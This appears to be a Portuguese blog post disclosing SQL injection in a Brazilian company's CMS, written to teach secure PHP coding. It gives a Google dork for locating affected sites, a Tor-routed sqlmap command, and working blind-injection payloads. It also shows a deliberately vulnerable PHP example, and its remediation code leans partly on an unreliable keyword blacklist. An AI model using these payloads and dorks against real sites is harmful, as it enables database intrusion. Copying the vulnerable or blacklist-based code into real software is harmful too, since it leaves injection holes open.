Bom continua minhas pesquisas com (
CMS's ) brasileiros, esbarrei nas minhas "
Googladas" com o CMS da empresa
Jourdan Design.
Que o mesmo apresenta falhas graves de injeção SQL, via request
POST &
GET.
Como não achei código fonte, ou padrão de outros cms's deduzi que eles usam uma aplicação priv8.
Vamos aos fatos....
Em uma pequena e rápida analise é possível constatar
MÚLTIPLAS VULNERABILIDADES:
INFORMAÇÕES:
[+] FORNECEDOR: http://www.jourdandesign.com.br
[+] VERSÕES VULNERÁVEIS: (NÃO IDENTIFICADO)
[+] ARQUIVO: VIA POST: newsletter_done.php, pesquisa_done.php
VIA GET : nossa_historia_texto.php
[+] DORK: "by Jourdan Design" "news_not_pk"
[+] REPORTADO: 30/09/2015
Senhoras e Senhores que estão lendo esse humilde artigo, não quero falar que isso é uma falha grande
E que vai afetar milhões de pessoas ... pois não vai, essa "plataforma" ou emaranhado de códigos
não filtrados afeta no máximo seus usuários/clientes, mas o grande intuito é mostrar filtros com PDO..
e filtros desprotegidos e algumas boas condutas.
( Todo desenv sabe || deveria saber ) que sistemas quando vão para produção tem que está como seus erros tratados, pelo menos deveriam certo (?!).
Quase toda aplicação que é invadida via
SQL - INJECTION é devido seus erros não tratados no server side, muitas vezes são ownadas por 'BOTS', sim bots. que ao identificar esse erro de
Syntax SQL já começa injetar comandos par extração de informações.
MAS SÓ TRATAR OS ERROS DA MINHA APLICAÇÃO JÁ ME DEIXA SEGURO ?
A resposta é
NÃO!
Apesar de ser informações básicas tanto pequenas quanto grande empresas incluindo governos ainda sofrem com isso.
Vamos aos BUGS da
Jourdandesign
Demonstrarei somente um.
ARQUIVO:
newsletter_done.php
REQUEST POST:
nome=bypass&[email protected]&Submit3=cadastrar
POC:
http://www.vul.com.br/newsletter_done.php?nome=bypass+{SQL_INJECTION_BLIND}&[email protected]+{SQL_INJECTION_BLIND}&Submit3=cadastrar
GERANDO ERRO PASSANDO CARACTERES MALICIOSOS
ERRO EXPOSTO:
Pelos campos passados podemos perceber que tais parâmetros fazem parte da newsletter do "CMS", mas manipulando tais valores, saindo da validação javascript podemos bypassar.
Dica: sempre validar dados no lado servidor, seja ele vindo de clientes logados ou não.
Se o request é feito pelo usurário, não confie no Request filtre.
EXPLORAÇÃO VIA SQLMAP:
COMANDO:
sqlmap -u 'http://www.vull.com.br/newsletter_done.php' --data "nome=bypass&email=123#2*@aduneb.com.br#1*&Submit3=cadastrar" -p nome --random-agent --level 3 --risk 2 --tor --tor-type=SOCKS5 --dbs --thread 5
PRINT:
RETURN SQLMAP DEBUG PAYLOAD:
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: nome=bypass&email=-7840') OR 1946=1946#@aduneb.com.br#1&Submit3=cadastrar
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT - comment)
Payload: nome=bypass&email=123#2') AND (SELECT * FROM (SELECT(SLEEP(10)))Vxmq)#@aduneb.com.br#1&Submit3=cadastrar
Parameter: #2* ((custom) POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: nome=bypass&email=-1051') OR 5045=5045#&Submit3=cadastrar
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT - comment)
Payload: nome=bypass&email=123#[email protected]#1') AND (SELECT * FROM (SELECT(SLEEP(10)))tdlq)#&Submit3=cadastrar
CÓDIGO:
Um exemplo de como pode está o código do arquivo
newsletter_done.php
<?php
$servername = "localhost";
$username = "username";
$password = "password";
$dbname = "myDB";
$nome = $_POST['nome'];
$email = $_POST['email'];
// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);
// Check connection
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
$sql = "INSERT INTO newsletter (nome, email)
VALUES ('{$nome}', '{$email}')";
if ($conn->query($sql) === TRUE) {
echo "EMAIL CADASTRADO COM SUCESSO!";
} else {
echo "Error: " . $sql . "<br>" . $conn->error;
}
$conn->close();
?>
Sem nem um tipo de filtro no request POST os valores são setados direto nas variáveis da aplicação.
NÃO FAÇA ISSO NUNCA!
- USE PDO!
- PDO É VIDA CARA!
- USE FILTROS!
- ISSO SALVA VIDAS!
Um simples exemplo usando PDO e filtros:
CÓDIGO:
<?php
$servername = "localhost";
$username = "username";
$password = "password";
$dbname = "myDB";
// VALIDANDO $_POST SE CAMPOS EXISTEM
$nome = is_set($_POST['nome']) ? $_POST['nome'] : exit('<p>FALTA campo nome!</p>');
$email = is_set($_POST['email']) ? $_POST['email'] : exit('<p>FALTA campo email!</p>');
// FILTRANDO CAMPOS POST
$nome = is_name($nome) ? $nome : exit('<p>NOME invalido!</p>');
$email = is_email($email) ? $email : exit('<p>Email invalido!</p>');
// INICIANDO CONEXÃO
try {
$dbh = new PDO("mysql:host={$servername};dbname={$dbname}",$username,$password);
$stmt=$dbh->prepare("INSERT INTO newsletter (nome, email) VALUES (:nome, :email)");
$stmt->bindParam(':nome' , $nome);
$stmt->bindParam(':email', $email);
$stmt->execute();
$dbh = null;
} catch (PDOException $e) {
print "<p>Error!: SQL/INSERT - 0001</p>";
die();
}
// REF CÓDIGO:
// http://php.net/manual/pt_BR/pdo.prepared-statements.php
// http://php.net/manual/en/pdo.prepare.php
//FUNCTION VALIDANDO SE VALORES PASSADOS EXISTEM
function is_set($value) {
return isset($value) && !empty($value) ? TRUE : FALSE;
}
// REF CÓDIGO:
// http://php.net/manual/en/function.isset.php
// http://php.net/manual/en/function.empty.php
// FUNCTION FILTRANDO CARACTERES E VALIDANDO SE É EMAIL
function is_email($email){
// Remove all illegal characters from email
$email = filter_var($email, FILTER_SANITIZE_EMAIL);
// Validate e-mail
return (!filter_var($email, FILTER_VALIDATE_EMAIL) === false) ? true : false;
}
// REF CÓDIGO:
// http://php.net/manual/en/filter.filters.sanitize.php
// http://www.w3schools.com/php/filter_validate_email.asp
// http://bobby-tables.com/php.html
// FUNCTION FILTRANDO E VALIDANDO NOME
// MODELO PARANOICO
function is_name($name) {
// FILTRO POSSÍVEIS CARACTERES DE INJEÇÃO
foreach (array('0X', 'DROP', ';','--','UNION','CONCAT(','TABLE_','INFORMATION_',"'",'"') as $value) {
$name = !strstr(strtoupper($name), $value) ? $name : FALSE;
}
// FILTRO POSSÍVEIS CARACTERES DE INJEÇÃO + HTML
$name = (filter_var(stripslashes(strip_tags(trim($name))), FILTER_SANITIZE_STRING));
return $name;
}
?>
É um pequeno código simples com mais segurança, seguindo as seguintes dicas:
- VALIDAR EXISTÊNCIA DO REQUEST
- FILTRAR CAMPOS
- USAR PDO EM TODA E QUALQUER SELECT,UPDATE,DELETE,INSERT
- - SE POSSÍVEL
- VALIDAR O TIPO DE VARIÁVEL
VALIDAR TAMANHO MAXIMO CAMPOS / INPUT HTML
VALIDAR TAMANHO MAXIMO CAMPOS / INPUT JAVASCRIPT
- ANTES DE GERAR O REQUEST DESNECESSÁRIO AO SERVIDOR
- REGRA PRINCIPAL NÃO CONFIE NO CLIENTE.
- ÚLTIMA REGRA
SIGA TODAS REGRAS ACIMA.